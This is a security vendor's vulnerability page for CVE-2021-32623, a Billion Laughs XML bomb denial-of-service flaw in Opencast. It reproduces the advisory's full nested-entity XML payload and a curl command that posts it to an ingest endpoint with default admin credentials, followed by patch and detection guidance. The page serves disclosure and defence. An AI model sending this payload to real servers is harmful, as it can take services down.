CVE-2021-32623 is a medium-severity (CVSS 6.5) CWE-776 vulnerability in org.opencastproject:opencast-kernel. 1 public exploit reference exists, so weaponization risk is real. A fix is available for org.opencastproject:opencast-kernel — see the affected versions and patch details below.
Billion laughs attack (XML bomb)
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
CVE-2021-32623 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 378,156 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
org.opencastproject:opencast-kernelReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects Maven packages — download data is not available via public APIs for these ecosystems.
Description
Impact
Opencast is vulnerable to the Billion laughs attack which allows an attacker to easily execute a (seemingly permanent) denial of service attack, essentially taking down Opencast using a single HTTP request.
Consider an XML file (createMediaPackage.xml) like this:
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE lolz [
<!ENTITY lol "Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's standard dummy text ever since the 1500s, when an unknown printer took a galley of type and scrambled it to make a type specimen book. It has survived not only five centuries, but also the leap into electronic typesetting, remaining essentially unchanged. It was popularised in the 1960s with the release of Letraset sheets containing Lorem Ipsum passages, and more recently with desktop publishing software like Aldus PageMaker including versions of Lorem Ipsum. ">
<!ELEMENT title (#PCDATA)>
<!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
]>
<mediapackage xmlns="http://mediapackage.opencastproject.org" id="d162d5b2-b54f-4400-a268-ee6565b0e6e7" start="2020-01-23T23:08:37Z">
<title>&lol5;</title>
<media/>
<metadata/>
<attachments/>
<publications/>
</mediapackage>
Throwing this at Opencast will cause Opencast to parse the XML and expand the Lorem Ipsum about 100 000 times, instantly consuming a huge amount of memory:
curl -i -u admin:opencast https://develop.opencast.org/ingestdownload/ingestdownload \
-F 'mediapackage=<createMediaPackage.xml' \
-F sourceFlavors="" \
-F sourceTags="" \
-F deleteExternal="" \
-F tagsAndFlavor='' \
-o out.xml
Additional notes:
- You can likely use other endpoints accepting XML (this was just the first one I tried) and depending on how much memory you want to consume, you might want to enlarge the lorem ipsum text.
- Opencast's XML parser does limit the expansion to 100 000 times, already limiting the attack. Nevertheless, this can already harm the system.
- To exploit this, users need to have ingest privileges, limiting the group of potential attackers
Patches
The problem has been fixed in Opencast 9.6. Older versions of Opencast are not patched sue to the extent of this patch.
Workarounds
There is no known workaround for this issue.
References
- Billion laughs attack explained
- For technical details, take a look at the patch fixing the issue: https://github.com/opencast/opencast/commit/_________
For more information
If you have any questions or comments about this advisory:
- Open an issue in our issue tracker
- Email us at [email protected]
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| ☕Maven | org.opencastproject:opencast-kernel | all versions | 9.6org.opencastproject:opencast-kernel:9.6 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for org.opencastproject:opencast-kernel, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update org.opencastproject:opencast-kernel to 9.6 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-32623 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like CVE-2021-32623 can be triaged on real exposure rather than presence alone.
Tailored to CVE-2021-32623. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is CVE-2021-32623 in your dependencies?
O3 Security finds CVE-2021-32623 across Maven dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.